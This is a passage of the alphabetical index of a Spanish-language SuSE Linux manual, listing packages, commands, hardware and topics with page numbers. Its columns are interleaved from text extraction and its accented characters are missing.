Gestor de arranque . . . . 107 imlibdev . . . . . . . . . . . . 360 sdb_es . . . . . . . . . . . . . . . . . 7
oss . . . . . . . . . . . . . . . . . . . . 274 inetcfg . . . . . . . . . 175, 182 secchk . . . . . . . . . . . . . . 406
OSS . . . . . . . . . . . . . . . . . . . 275 inf2htm . . . . . . . . . . . . . 373 sendfax . . . . . . . . . . . . . 192
ossdemo . . . . . . . . . . . . . . . 274 inn . . . . . . . . . . . . . 189, 359 sendmail . . . . . . . 404, 410
isapnp . . . . . . . . . . . . . . 275 shlibs5 . . . . . . . . . . . . . 359
P isdn4linux . . . . . . . . . . 166 snd_au . . . . . . . . . . . . . . 276
paket.tgz . . . . . . . . . . . . . . . . 64 jade_dsl . . . . . . . . . . . . 358 snd_mod . . . . . . . . . . . . . 276
PAM . . . . . . . . . . . . . . . . . . . 360 john . . . . . . . . . . . . . . . . . 401 snd_wav . . . . . . . . . . . . . 276
Panasonic CD-ROM 332, 342 kernmod . . . . . . . . . 167, 276 so_es . . . . . . . . . . . . . . . . 469
Pantalla virtual . . . . . . . . . . 239 latex-cover . . . . . . . . 200 sp . . . . . . . . . . . . . . . . . . . 358
Papel tapiz . . . . . . . . . . . . . . 247 ldp . . . . . . . . . . . . . . . . . . 373 ssh . . . . . . . . . 402, 408, 410
Paper size leafnode . . . . . . . 190, 359 susefax . . . . . . . . . 192, 201
SuSEFax . . . . . . . . . . . . . 197 libc . . . . . . . . . . . . 309, 365 susehilf . . . 174, 208, 373
paquete libcinfo . . . . . . . . . . . . 152 susepak . . . . . . . . . . . . . 373
3dpixm . . . . . . . . . . . . . . 261 linux . . . . . . . . . . . . . . . . . . 9 tcl . . . . . . . . . . . . . . . . . . 312
3dpixms . . . . . . . . . . . . . 261 lprold . . . . . 286, 298, 305 te_dvilj . . . . . . . . . . . . 292
allman . . . . . . . . . . . . . . 358 lrpold . . . . . . . . . . . . . . 297 tiff . . . . . . . . . . . . . . . . . 197
apache . . . . . . . . . . 373, 403 lx_suse . 9, 167, 275, 276, tk . . . . . . . . . . . . . . . . . . . 312
apassl . . . . . . . . . . . . . . 403 309 toppp . . . . . . . . . . . . . . . . 182

499
ndice de Materias

tripwire . . . . . . . . . . . . 405 passwd . . . . . . . . . . . . . . . . . 158 ppp.chat . . . . . . . . . . . . . . . . 183


wget . . . . . . . . . . . . . . . . . 364 Password . . . . . . . . . . . . . . . 411 ppp_nt . . . . . . . . . . . . . . . . 182
x3dlabs . . . . . . . . . . . . . 358 PATH . . . . . . . . . . . . . . . . . . 407 pppd . . . . . . . . . . 179, 182, 356
xcyrix . . . . . . . . . . . . . . 358 $PATH 6, 183, 245, 252, 413, Primera instalacin . . . . . . . 15
xf86 . . . . . . . . . . . . . . . . . 312 453 Arrancar YaST . . . . . . . . . 23
xformsd . . . . . . . . . . . . . 360 Patrick Volkerding . . . . . . . . 11 Configuracin bsica . . . 30
xfsetup . . . . . . . . . . . . . 219 pbm2l7k . . . . . . . . . . . . . . . 305 Configuracin inicial . . . 30
xglint . . . . . . . . . . 357, 358 PC . . . . . . . . . . . . . . . . . . . . . 448 Configurar particiones . . 24,
xinetd . . . . . . . . . . . . . . 409 PC Comprar . . . . . . . . . . . . 372 66
xlpq . . . . . . . . . . . . . . . . . 288 pcmcia . . . . . . . 137, 139, 140 Copiar paquetes . . . . . . . . 37
xntp . . . . . . . . . . . . . . . . . 393 PCMCIA . . . . . . 137, 355, 388 Definir contrasea de root . .
xvga16 . . . . . . . . . . . . . . 219 PentiumPro . . . . . . . . . . . . . 313 31
ypclient . . . . . . . . . 96, 157 pep . . . . . . . . . . . . . . . . . . . . . 61 Descripcin de problemas . .
ypserv . . . . . . . . . . . . . . 159 perl . . . . . . . . . . . . . . . . . . 4, 395 52
Paquete Permiso de entrada . . . . . . 448 Disquetes de arranque . . 48
Formato . . . . . . . . . . . . . . 361 Permisos de acceso Entrar al sistema . . . . . . . 33
Seleccin . . . . . . . . . . . . . . 85 Samba . . . . . . . . . . . . . . . 211 Fijar puntos de montaje . 68
Paquetes Permissions . . . . . . . . . . . . . 395 Fijar sistemas de fichero 68
Borrar . . . . . . . . . . . . . . . . . 89 pg . . . . . . . . . . . . . . . . . . . . . 418 Formatear . . . . . . . . . . . . . 68
Buscar . . . . . . . . . . . . . . . . 88 pgp . . . . . . . . . . . . . . . . . . . . 409 Formatear disco duro . . . 68
Compilar . . . . . . . . . . . . . 364 Philips CM206 . . . . . 331, 341 Fuentes de pantalla . . . . . 31
Comprobar dependencias 88 pine . . . . . . . . . . . . . . . . . . . . 191 Futuro mtodo de arranque .
Configuraciones . . . . . . . . 84 ping . . . . . . . . . . . . . . . . . . . 405 35
Instalacin . . . . . . . . . . . . . 87 Pipe . . . . . . . . . . . . . . . . . . . 448 Generar disquete de
Instalar . . . . . . . . . . . . . . . . 88 Plantilla PostScript arranque bajo Unix . . . 49
Listado . . . . . . . . . . . . . . . . 88 SuSEFax . . . . . . . . . . . . . 200 Generar usuarios . . . . . . . 31
Parmetro de tarea PLIP Instalacin de paquetes . 32
SuSEFax . . . . . . . . . . . . . 195 Puerto paralelo . . . . . . vase Instalar loadlin . . . . . . . . . 42
Parmetros del kernel . . . . . 50 Hardware, Puerto paralelo Instalar paquetes . . . . . . . 26
Paride . . . . . . . . . . . . . . . . . . 349 plp . . . . . . . . . . . . . . . . . . . . . 297 Instalar software . . . . . . . 26
Parport-subsistema . . . . . . 278 plp . . . . . . . . . . . . . . . . . . . . 297 linuxrc . . . . . . . . . . . . . . . . 19
Particin PlugAndPlay . . . . . . . . . . . 269 Login . . . . . . . . . . . . . . . . . 33
Formatear . . . . . . . . . . . . . 78 pnpdump . . . . . . . . . . 269273 Login: . . . . . . . . . . . . . . . . . 31
Swap . . . . . . . . . . . . . . . . . . 61 Pointer . . . . . . . . . . . . . . . . . 237 Mtodos de arranque . . . 42
Particin de intercambio . . 61, Pointer-Section . . . . . . . . . 237 Mecanismo de arranque con
75 Porttil . . . . . . . . . . . . . . . . . 137 loadlin . . . . . . . . . . . . . 129
Particin extendida . . . . . . . 76 Portada Modem . . . . . . . . . . . . . . . . 31
Particin raz . . . . . . . . . . . 320 SuSEFax . . . . . . . . . . . . . 200 Mouse . . . . . . . . . . . . . . . . 31
Particin swap . . . . . . . . . . . 75 Portada de fax Pantalla de bienvenida . . 18
Particionar . . . . . . . . . . . 45, 74 SuSEFax . . . . . . . . . . . . . 198 Particionar . . . . . . . . . . . . . 45
Experto . . . . . . . . . . . . . . . 60 portmap . . . . . 31, 96, 149, 159 Seleccionar Configuracin .
Principiantes . . . . . . . . . . . 59 Portmapper . . . . . . . . . . . . . 391 26
Particiones Post . . . . . . . . . . . vase E-Mail Seleccionar kernel . . . . . . 27
adicionales . . . . . . . . . . . 471 postfix . . . . . . . . . . . . . . . . . 390 Seleccionar Software . . . 26
Configurar . . . . . . 24, 66, 74 postfix . . . . . . . . . . . . . . . 404 Setup . . . . . . . . . . . . . . . . . 41
extendidas . . . . . . . . . . . . . 76 Postfix . . . . . . . . . . . . . . . . . 390 Situacin previa . . . . . . . . 18
lgica . . . . . . . . . . . . . . . . . 76 postgres . . . . . . . . . 353, 358 Windows 95
primarias . . . . . . . . . . . . . . 76 PostgreSQL . . . . . . . . 353, 358 Modo DOS . . . . . . . . . . . . . 41
Swap . . . . . . . . . . . . . . . . . . 75 ppa . . . . . . . . . . . . . . . . . . . . 305 printcap . . . . . . . . . . . . . . . . 290
Tipos . . . . . . . . . . . . . . . . . . 59 ppp . . . . . . . . . . . . . . . . . . . . 179 $PRINTER . . . . . . . . . . . . 287
Particiones lgicas . . . . . . . . 76 PPP . . . . . . . . . . . . . . . 163, 179 Printer-Accounting . . . . . . 297
Particiones primarias . . . . . 76 ppp-down . . . . . . . . . . . . . . 184 Pro Audio Spectrum 322, 331
Partition Magic . . . . . . . . . . 36 ppp-up . . . . . . . . . . . . . 182, 183 Pro Audio Spectrum 16 . . 331

500
ndice de Materias

Probar PC . . . . . . . . . . . . . . 372 RAM . . . vase Memoria, 449 IP-Forwarding . . . . . . . . 389


Problemas Rama . . . . . . . . . . . . . . . . . . 449 Routing
en la primera instalacin 52 absoluta . . . . . . . . . . . . . . 449 route.conf . . . . . . . . . . 155
Proc filesystem . . . . . . . . . . 448 relativa . . . . . . . . . . . . . . . 449 RPC-Mount-Daemon . . . . 159
Procesador . . . . . . . . . . . . . 448 Ramdac . . . . . . . . . . . . . . . . 231 RPC-NFS-Daemon . . . . . . 159
Proceso . . . . . . . . . . . . . . . . 448 Rango de memoria RPC-Portmapper . . . . . . . . 159
Proceso subordinado . . . . . 448 Reservar . . . . . . . . . . . . . 320 rpc.mountd . . . . . . . . . 159, 391
procmail . . . . . . . . . . . . . . . 188 rawip . . . . . . . . . . . . . . 171, 174 rpc.nfsd . . . . . . . . 96, 159, 391
Programa . . . . . . . . . . . . . . . 449 rawip-HDLC . . . . . . . . . . . 171 rpm . . . . . . . . . . . 360, 365, 366
Llamada . . . . . . . . . . . . . . 413 rawrite . . . . . . . . . . . . . . . . . . 49 rpm . . . . . . . . . . . . . . . 361, 450
Programas rawrite.exe . . . . . . . . . . . . . . . 49 rpm . . . . . . . . . . . . . . . . . . . . 365
Compilar . . . . . . . . . . . . . 364 rc . . . . . . . . . . . . . . . . . . . . . . 383 RPM . . . . . . . . . . . . . . 361, 450
Prompt . . . . . . . . . . . . . . . . . 449 /etc/rc.config . . . . . . . 385 Banco de datos . . . . . . . . 395
Propiedades del sistema rc.config . . . . . . . . . . . . . 387 RPM (rpm)
SuSEFax . . . . . . . . . . . . . 192 rcp.ugidd . . . . . . . . . . . . . . . 391 rpmorig . . . . . . . . . . . . . 361
Protocolo . . . . . . . . . . . . . . . 449 RDSI . . . . . . . . . . . . . . . . . . 164 rpmsave . . . . . . . . . . . . . 361
Proxy Configuracin . . . . . . . . 166 Runlevel . . . . . . . . . . . 382, 450
FTP . . . . . . . . . . . . . . . . . . 393 YaST . . . . . . . . . . . . . . . . 167 cambiar . . . . . . . . . . . . . . 383
Gopher . . . . . . . . . . . . . . . 393 README-ficheros . . . . . . . . 9 rwhod . . . . . . . . . . . . . . . . . . 391
HTTP . . . . . . . . . . . . . . . . 393 reboot . . . . . . . . . . . . . . . . . . 412 rxvt . . . . . . . . . . . . . . . . . . . . 164
ps . . . . . . . . . . . . . . . . . . . . . 451 Reboot . . . . . . . . . . . . 320, 394
ps . . . . . . . . . . . . . . . . . . . . . 427 recode . . . . . . . . . . . . . . . . 293 S
pstree . . . . . . . . . . . . . . . . 427 Red . . . . . . . . . . . . . . . . . . . . 449 S.u.S.E. . . . . . . . . . vase SuSE
Puerto paralelo . . . . . . . . vase Configuracin . . . . . . . . 148 Smbolo de entrada . . . . . . 451
Hardware, Puerto paralelo Configuracin con YaST 95 Salida/Entrada estndar . . 450
ATAPI CD-ROM . . . . . . 349 Dummy-Device . . . . . . . 389 samba . . . . . . . . . . . . . . . . . . . 97
ATAPI Disks . . . . . . . . . 349 Ficheros de configuracin . . Samba . . . . . . . . . . . . . 209, 393
Disco duro IDE . . . . . . . 349 150 Montar Shares . . . . . . . . 360
Dispositivo ATAPI genrico Red de rea local . . . . . . . . 145 Permisos de acceso . . . . 211
350 Redes . . . . . . . . . . . . . . . . . . 145 sane . . . . . . . . . . . . . . . . . . . 283
Dispositivos IDE . . . . . . 349 Rescue-Disk . . . . . . . . . . . . 376 Sanyo CD-ROM . . . . 331, 341
Driver de protocolo IDE 349 Reservar rango E/S . . . . . . 320 sax . . . . . . . . . . . . . . . . . . . . 219
Especfico . . . . . . . . . . . . 348 Reset . . . . . . . . . . . . . . . . . . 320 sax . . . . . . . . . . . . . . . . . . . . 219
Parmetros de kernel . . 332, Resetear . . . . . . . . . . . . . . . . 449 SaX vi, 34, 101, 219229, 467
348 Resolucin de pantalla . . . 239 SCO-Unix . . . . . . . . . . . . . . 428
Streamer ATAPI . . . . . . 350 resolv.conf . . . . . . . . . . . . . 154 Screen . . . . . . . . . . . . . . . . . 237
Puertos Respaldo . . . . . . . . . . . 102, 421 Screen-Section . . . . . . . . . . 237
paralelo . . . . . . . . . . . . . . 285 Respaldo de datos . . . . . . . 421 Scripts de arranque . . . . . . 154
Puntero . . . . . . . . . . . . . . . . 250 RFC1861 . . . . . . . . . . . . . . . 202 SCSI
Punto de anclaje . . . . . 77, 449 RFC959 . . . . . . . . . . . . . . . . 202 Adaptec
Richard Stallman . . . . . . . . 444 AHA-152x/151x/1505 . . .
Q Ricoh . . . . . . . . . . . . . . . . . . 137 333
qmail . . . . . . . . . . . . . . . . . . 186 rlogin . . . . . . . . . . . . . . . . . . 390 AdvanSys . . . . . . . . . . . . 323
Queue . . . . . . . . vase Cola de Rlogin . . . . . . . . . . . . . . . . . 450 AHA-152x/151x/1505 . 321
impresin rm . . . . . . . . . . . . . . . . . . . . . 420 AHA-154x . . . . . . . . . . . 322
Queueing Agent rman . . . . . . . . . . . . . . . . . . . 373 AHA-274x . . . . . . . . . . . 322
HylaFAX . . . . . . . . . . . . . 203 rmmod . . . . . . . . . . . . . . . . . 310 AHA-284x . . . . . . . . . . . 322
Queueing Agent ROM . . . . . . . . . . . . . . . . . . 450 AHA-294x . . . . . . . . . . . 322
HylaFAX . . . . . . . . . . . . . 204 root . . . . . . . . . . . . . . . . . . . . . 31 AM53/79C974 . . . . . . . . 323
Qvwm . . . . . . . . . . . . . . . . . 243 Root . . . . . . . . . . . . . . . . . . . 450 Future Domain . . . 324, 325,
route . . . . . . . . . . . . . . . . . . . 378 334
R route.conf . . . . . . . . . . . . 155 LUN . . . . . . . . . . . . . . . . . 321
Radius . . . . . . . . . . . . . . . . . 392 Router NCR 5380 . . . . . . . 325, 334

501
ndice de Materias

NCR 53c400 . . . . . . . . . . 325 n . . . . 96, 97, 157, 159, 167, Simple Network Paging
NCR 53C400 . . . . . . . . . 334 179, 182, 189, 190, 201, Protocol . . . . . . . . . . . . 202
NCR 53c406a . . . . . . . . . 325 208, 305, 373375, 391, Sistema
Seagate ST01/02 . . . . . . 325 402, 403, 409 Actualizacin . . . . . . . . . 353
Streamer . . . . . . . . . . . . . 321 pay . . . . . . . . . 274, 469, 470 Sistema de ayuda . . . . . . . . 373
TMC-16x0 . . . . . . . 324, 334 sec . . . . . . . . . 405, 406, 468 Sistema de ficheros . . . . . . 451
TMC-885/950 . . . . . . . . 325 secchk . . . . . . . . . . . . . . 409 Reconstruir . . . . . . . . . . . 463
Trantor T128/128F/228 325 sgm . . . . . . . . . . . . . . . . . . 359 UMSDOS . . . . . . . . . . . . . 78
Trantor T130B . . . 325, 334 snd . . . . . . . . . . . . . . . . . . 276 Sistema de ficheros Proc 451
scsiinfo . . . . . . . . . . . . . . 283 Software del mbito de Sistema de ficheros Live vase
scwm . . . . . . . . . . . . . . . . . . 243 seguridad . . . . . . . . . 401 Live-System
sdb . . . . . . . . . . . . . . . . . . . . 373 tex . . . . . . . . . . . . . . . . . . 359 Sistema de impresin . . vase
SDB . . . . . . . . . . . . . . . . . . . . . 7 x . . . . . . . . . . . 219, 357, 358 Spool-system
sdb_cgi . . . . . . . . . . . . . . . 373 xap . . . . . . . . . . . . . . . . . . 288 Sistema de rescate . . . . . . . 376
sdb_de . . . . . . . . . . . . . . . . 373 xsrv . . . . . . . . . 17, 219, 358 Iniciar . . . . . . . . . . . . . . . . 376
sdb_en . . . . . . . . . . . . 174, 356 xwm . . . . . . . . . . . . . 246, 258 Use . . . . . . . . . . . . . . . . . . 378
sdb_es . . . . . . . . . . . . . . . . . . . 7 zq . . . . . . . . . . . . . . . 364, 365 Sistema operativo . . . . . . . 451
Seagate ST01/02 . . . . . . . . 325 Series Sistema X Window . . . . . . 452
Searchlist . . . . . . . . . . . . . . . 390 Buscar . . . . . . . . . . . . . . . . 88 Sistema X Window . . . . . . . . 4
secchk . . . . . . . . . . . . . . . . 406 Listado . . . . . . . . . . . . . . . . 88 Sistemas de fichero
Sector de arranque . . 105, 106 Server fijar . . . . . . . . . . . . . . . . . . . 68
Secure Shell Daemon . . . . 393 FTP . . . . . . . . . . . . . . . . . . 444 SLIP . . . . . . . . . . . . . . . . . . . 163
sed . . . . . . . . . . . . . . . . . . . . . . . 4 server.exe . . . . . . . . . . . . . . 107 smail . . . . . . . . . . . . . . . . . . . 186
Seguridad . . . . . . . . . . . . . . 399 ServerFlags . . . . . . . . . . . . . 237 Smarthost . . . . . . . . . . . . . . 188
Impresin . . . . . . . . . . . . 289 SMB . . . . . . . . . . . . . . . . . . . 209
Servicio de nombres . . . . . 209
Seleccin . . . . . . . . . . . . . . . 450 smbmount . . . . . . . . . . . . . . 360
Servicios . . . . . . . . . . . . . . . 484
Medio de instalacin . . . . 79 SMC 9194 . . . . . . . . . . . . . . 339
Servidor . . . . . . . . . . . . . . . . 451
Seleccin de series . . . . . . . 85 SMC Ultra . . . . . . . . . . . . . 338
Servidor de correo . . . . . . . 471
Seleccionar paquetes . . . . . . 26 SMP . . . . . . . . . . . . . . 447, 452
Servidor de nombres 148, 149,
Seleccionar software . . . . . . 26 SMTP . . . . . . . . . . . . . 187, 391
154, 390
Send Queue snd_au . . . . . . . . . . . . . . . . 276
Configuracin . . . . . . . . . . 96
SuSEFax . . . . . . . . . . . . . 192 snd_mod . . . . . . . . . . . . . . . 276
Servidor fax
sendfax . . . . . . . . . . . . . . . . 192 snd_wav . . . . . . . . . . . . . . . 276
HylaFAX . . . . . . . . . . . . . 202
sendfax . . . . . . . . . . . . . . . 192 SNiFF+ . . . . . . . . . . . . . . . . . 61
servidor NIS . . . . . . . . . . . . 158
sendmail . . . . . . . 96, 149, 155, SNPP . . . . . . . . . . . . . . . . . . 202
186189, 390 Servidor WWW . . . . . . . . . 471 so_es . . . . . . . . . . . . . . . . . . 469
sendmail . . . . . . . . . 404, 410 setup . . . . . . . . . . . ii, 41, 42, 48 Software
Sendmail . . . . . . . . . . . . . . . 357 Setup . . . . . . . . . 10, 4144, 48 Software libre . . . . . . . . . 444
Configuracin . . . . . . . . . . 96 SETUP 92, 293295, 298, 300 Software AG . . . . . . . . . . . . . . 3
serie setup.exe . . . . . . . . 50, 55, 129 Sony CDU31A . . . . . 332, 341
a . . . 86, 139, 140, 167, 179, setup.exe . . . . . . . . . . . . . . 10 Sony CDU33A . . . . . 332, 341
305, 451 Setup.exe . . . . . . . . . . . . 41, 42 Sony CDU535 CD-ROM 332,
a1 . . . . . . . . . . . . . . . . . . . . 86 seyon . . . . . . . . . . . . . . 163, 358 341
ALL . . . . . . . . . . . . . . . . . . . 85 SGML . . . . . . . . . . . . . . . . . 358 Soporte
ap . 275, 293, 305, 373, 430 sh . . . . . . . . . . . . . . . . . 451, 460 Nmeros de telfono . . 484
books . . . . . . . . . . . . . . . . 411 Share . . . . . . . . . . . . . . . . . . 210 sound . . . . . . . . . . . . . . . . . . 276
d . . . . . . . . . . . . . . . . 167, 275 shell . . . . . . . . . . . . . . . . . . . 408 Sound . . . . . . . . . . . . . . . . . . 468
D . . . . . . . . . . . . . . . . . . . . 309 Shell . . . . . . . . . . . . . . . . . . . 451 AD1816 Chip . . . . . . . . . 342
doc . 7, 9, 10, 51, 152, 167, $SHELL . . . . . . . . . . . . . . . 453 AD1848/CS4248 Chip
174, 182, 208, 305, 356, shlibs5 . . . . . . . . . . . . . . . 359 (MSS) . . . . . . . . . . . . . 342
357, 373 shutdown . . . . . . . . . . 378, 412 Aztech Sound Galaxy . . 347
gimp . . . . . . . . . . . . . . . . . 284 Shutdown . . . . . . . . . . . . . . 394 Creative Ensoniq 1371
gra . . . . . . . . . . . . . . 10, 292 Siemens . . . . . . . . . . . . . . . . . . 3 chipset . . . . . . . . . . . . . 343

502
ndice de Materias

Crystal 423x chipsets . . 343 SuSEFax . . . . . . . . 194, 201 susepak . . . . . . . . . . . . . . . 373


Driver genrico OPLx . 342 Trmino . . . . . . . . . . . . . . 286 susewm vi, 98, 241, 244, 246,
Ensoniq 1370 chipset . . 343 squid . . . . . . . . . . . . . . . . . . . 393 258261
Ensoniq SoundScape . . 347 ssh . . . . . . . . . . . . . . . . 402, 468 Ajustar . . . . . . . . . . . . . . . . 98
Gravis Ultrasound . . . . . 343 ssh . . . . . . . . . . . 402, 408, 410 Aplicacin . . . . . . . . . . . 259
MAD16 . . . . . . . . . . . . . . 343 SSL . . . . . . . . . . . . . . . . . . . . 403 Generalidades . . . . . . . . 258
MediaTrix AudioTrix Pro . . Stardivision . . . . . . . . . . . . . . . 3 susewm . . . . . . . . . . . . . . . . 258
347 StarOffice . . . . . . . . . . . 61, 469 Swap . . . . . . . . . . . . . . . . . . 452
MPU401 . . . . . . . . . . . . . 344 Startup-Scripts . . . . . . . . . . 154 Swap-Particin . . . . . . . . . . . 61
OPL3 . . . . . . . . . . . . . . . . 345 startx . . . . . . . . . . . 98, 229, 356 swat . . . . . . . . . . . . . . . . . . . 214
OPL3-SA1 . . . . . . . . . . . 345 Stephan Endra . . . . . . . . . . 11 Sybase . . . . . . . . . . . . . . . . 3, 61
OPL3-SAx . . . . . . . . . . . 345 Streamer syncPPP . . . . . . . . . . . . . . . . 171
Personal Sound System SCSI . . . . . . . . . . . . . . . . . 321 Syslinux . . . . . . . . . . . . . 48, 50
(ECHO ESC614) . . . . 346 suid . . . . . . . . . . . . . . . . . . . . 404 SYSLINUX . . . . . . . . . . . . 319
Pro Audio Spectrum . . . 346 SunOS . . . . . . . . . . . . . . . . . 428 syslog . . . . . . . . . . . . . . . . . . 378
S3 Sonic Vibes . . . . . . . . 347 Superficie grfica . . . . . . . . 467 System
Sound Blaster DSP chipsets Support Update . . . . . . . . . . . . . . . 353
348 E-Mail . . . . . . . . . . . . . . . 482 System Commander Deluxe . .
Sound Blaster y clnicos . . . Horario . . . . . . . . . . . . . . 484 36
346 Hotline . . . . . . . . . . . . . . . 484 System is too big . . . . . . . . 313
Turtle Beach Instalacin . . . . . . . . . . . 481 System Properties
Classic/Monterey/Tahiti . . La va ms rpida . . . . . 482 SuSEFax . . . . . . . . . . . . . 192
344 Nmeros de telfono . . 484 System V . . . . . . . . . . . . . . . 381
Turtle Beach Maui y Tropez Servicios . . . . . . . . . . . . . 484
344 Telfono de atencin . . 484 T
Turtle Beach Maui, Tropez, SuSE . . . . . . . . . . . . . . 367, 376 Tabla de particin . . . . . . . 105
Tropez Plus . . . . . . . . . 348 SuSE tar . . . . . . . . . . . . . . . . . . 64, 380
Turtle Beach MultiSound . . Nmeros de telfono . . 484 tar . . . . . . . . . . . . . . . . . . . . 421
344 Servicios . . . . . . . . . . . . . 484 Tarea . . . . . . . . . . . . . . . . . . . 452
Turtle Beach Pinnacle/Fiji . . SuSEconfig ix, 102, 149, 150, Tarea (Fax-)
344 158, 187, 189, 253, 258, SuSEFax . . . . . . . . . . . . . 195
UART401 . . . . . . . . . . . . 347 358, 377, 385388, 392, Tarea prioridad
UART6850 . . . . . . . . . . . 348 393, 460, 468 SuSEFax . . . . . . . . . . . . . 196
YMF71x . . . . . . . . . . . . . 345 SuSEconfig . . . . . . . . . . . . 385 Tarjeta de red
Soundblaster 16 . . . . . . . . . 276 SuSEconfig.kdm . . . . . . . . 253 3COM 3c501 . . . . . . . . . 335
soundcore . . . . . . . . . . . . . . 276 susefax . . . . . . . . . . . 192, 201 3COM 3c503 . . . . . . . . . 335
soundlow . . . . . . . . . . . . . . . 276 SuSEFax . . . v, 192, 192, 193, 3COM 3c505 . . . . . . . . . 335
Sourcecode . . . . . . . . . . . . . 470 197, 201, 202 3COM 3c507 . . . . . . . . . 335
Compilar . . . . . . . . . . . . . 364 susefax.images 3COM 3c509 . . . . . . . . . 335
sp . . . . . . . . . . . . . . . . . . . . . 358 SuSEFax . . . . . . . . . . . . . 192 3COM 3c515 . . . . . . . . . 335
Spool-system . . . . . . . . . . . 285 susefax.phonebook.file 3COM 3c579 . . . . . . . . . 335
apsfilter . . . . . . . . . . . . . . 292 SuSEFax . . . . . . . . . . . . . 192 3COM 3c590 . . . . . . . . . 335
apsfilter-cola de impresin . susefax.setup.file 3COM 3c900 . . . . . . . . . 335
292 SuSEFax . . . . . . . . . . . . . 192 AM7990 chipset . . . . . . 338
apsfilter-configuracin . 293 susefax.setup.path AT1700 . . . . . . . . . . . . . . 335
Colas de impresin . . . . 290 SuSEFax . . . . . . . . . . . . . 192 Cabletron . . . . . . . . . . . . . 335
Componentes . . . . . . . . . 287 susehilf . . . . . 174, 208, 373 Configuracin . . . . . . . . . . 90
Control . . . . . . . . . . . . . . . 288 SuSE Linux . . . . . . . . . . . . 367 D-Link DE620 . . . . . . . . 339
Daemon . . . . . . . . . . . . . . 289 Distribucin de teclado 367 DE10x . . . . . . . . . . . . . . . 336
Filtro . . . . . . . . . . . . . . . . 290 Especialidades . . . . . . . . 367 DE20 . . . . . . . . . . . . . . . . 336
Filtros . . . . . . . . . . . . . . . . 291 Instalacin . . . . . . . . . . . 368 DE203 . . . . . . . . . . . . . . . 336
Impresora de red . . . . . . 297 Sistema de ayuda . 373, 376 DE204 . . . . . . . . . . . . . . . 336
Spooling Sistema de rescate . . . . . 376 DE205 . . . . . . . . . . . . . . . 336

503
ndice de Materias

DE42 . . . . . . . . . . . . . . . . 336 Teclas . . . . . . . . . . . . . . . . . . 437 $DISPLAY . . . . . . . . . . . 453


DE425 . . . . . . . . . . . . . . . 336 Teclas de funciones $FEATURE . . . . . . . . . . 293
DE434 . . . . . . . . . . . . . . . 336 no funcionan . . . . . . . . . . . 73 $GS_RESOL . . . . . . . . 305
DE435 . . . . . . . . . . . . . . . 336 Teclas de mouse . . . . . . . . . 230 $HOME . . . 245, 254, 263,
DE450 . . . . . . . . . . . . . . . 336 Telix . . . . . . . . . . . . . . . . . . . 164 297, 442, 453
DE500 . . . . . . . . . . . . . . . 336 telnet . 96, 164, 378, 390, 396, $KDEDIR . . . . . . . . . . . 252
DEC EtherWORKS . . . 336 408, 461, 468 $LANG . . . . . . . . . . . . . . 387
Digital . . . . . . . . . . . . . . . 336 Telnet . . . . . . . . . . . . . . . . . . 452 $LC_* . . . . . . . . . . . . . . . 387
Digital DEPCA . . . . . . . 336 termcap . . . . . . . . . . . . . . . 380 $MANPATH . . . . . . . . . 453
E21xx . . . . . . . . . . . . . . . . 335 Terminal . . . . . . . . . . . . . . . 452 $PATH . . 6, 183, 245, 252,
EtherBlaster . . . . . . . . . . 338 Programa . . . . . . . . . . . . . 164 413, 453
EtherTeam 16i/32 . . . . . 338 Test de memoria . . . . . . . . 320 $PRINTER . . . . . . . . . . 287
EtherWORKS 3 . . . . . . . 336 teTeX . . . . . . . . . . . . . . . . . . 359 $SHELL . . . . . . . . . . . . . 453
Fujitsu Texinfo . . . . . . . . . . . . . . . . . 380 $USER . . . . . . . . . . . . . . 453
FMV-181/182/183/184 . . texpire . . . . . . . . . . . . . 190, 191 $WINDOWMANAGER . .
337 Texto 245, 247
HP 10/100 VG-AnyLAN . . . Buscar . . . . . . . . . . . . . . . 420 UMSDOS . . . . . . . . . . . 78, 452
338 The Open Group . . . . . . . . 219 Unidad extraible . . . . . . . vase
HP 27245 . . . . . . . . . . . . 338 The XFree86 Project, Inc. 219 Hardware, Unidad
HP 27247B . . . . . . . . . . . 337 Thinkpad . . . . . . . . . . . . . . . 330 extraible
HP 27252A . . . . . . . . . . . 337 Primera instalacin . . . . . 55 Universal Serial Bus . . . vase
HP 27xxx . . . . . . . . . . . . 338 tiff . . . . . . . . . . . . . . . . . . . 197 USB
HP PCLAN . . . . . . . . . . . 338 TIFF Software . . . . . . . . . . 197 Unix . . . . . . . . . . 411, 442, 452
HP PCLAN+ . . . . . . . . . 337 tin . . . . . . . . . . . . . . . . . . . . . 191 Introduccin . . . . . . . . . . 411
IBM Token Ring . . . . . . 339 Tipo de letra . . . . . . . . . . . . 248 UNIX 192, 201, 439, 444, 452
ICL EtherTeam . . . . . . . 338 tk . . . . . . . . . . . . . . . . . . . . . 312 Unix98 PTY . . . . . . . . . . . . 360
Intel EtherExpress 16 . . 337 tkinfo . . . . . . . . . . . . . . . . . . . 8 Update . . . . . . . . . . . . . . . . . 353
Intel EtherExpress Pro . 337 tkInfo . . . . . . . . . . . . . . . . . . . . 8 Instalar paquetes . . . . . . . 88
Intel EtherExpress Pro 100 . Tkinfo (tkinfo) . . . . . . . . 380 updatedb . . . . . . . . . . . . . . . 395
337 TMC-16x0 . . . . . . . . . 324, 334 URL . . . . . . . . . . . . . . . . . . . 452
Lance . . . . . . . . . . . . . . . . 338 TMC-885/950 . . . . . . . . . . 325 USB . . . . . . . . . . . . . . . . . . . 280
Novell NE1000/2000 . . 338 Token Ring . . . . . . . . . . . . . 339 USENET . . . . . . . . . . . . . . . 189
SMC 9194 . . . . . . . . . . . . 339 top . . . . . . . . . . . . . . . . . . . . 427 $USER . . . . . . . . . . . . . . . . 453
SMC Ultra . . . . . . . . . . . 338 toppp . . . . . . . . . . . . . . . . . . 182 useradd . . . . . . . . . . . . . . . . 100
Token Ring . . . . . . . . . . . 339 Toshiba . . . . . . . . . . . . . . . . 137 userdel . . . . . . . . . . . . . . . . . 100
WD80x3 . . . . . . . . . . . . . 339 Transmission Subscriber USRobotics . . . . . . . . . . . . . 207
Western Digital . . . . . . . 339 Identification . . . . . . . 199 Usuarios
Tarjeta de sonido Trantor T128/128F/228 . . 325 Administracin . . . . . . . 100
Pro Audio Spectrum . . . 331 Trantor T130B . . . . . 325, 334 Ususario
Tarjetas de red . . . . . . . . . . 328 tripwire . . . . . . . . . . . . 405, 406 Generar . . . . . . . . . . . . . . 411
Tarjetas PCMCIA . . . . . . . 137 tripwire . . . . . . . . . . . . . . 405 UUCP . . . . . . . . . . . . . 187, 359
tcl . . . . . . . . . . . . . . . . . . . . 312 Tripwire . . . . . . . . . . . . . . . . 405
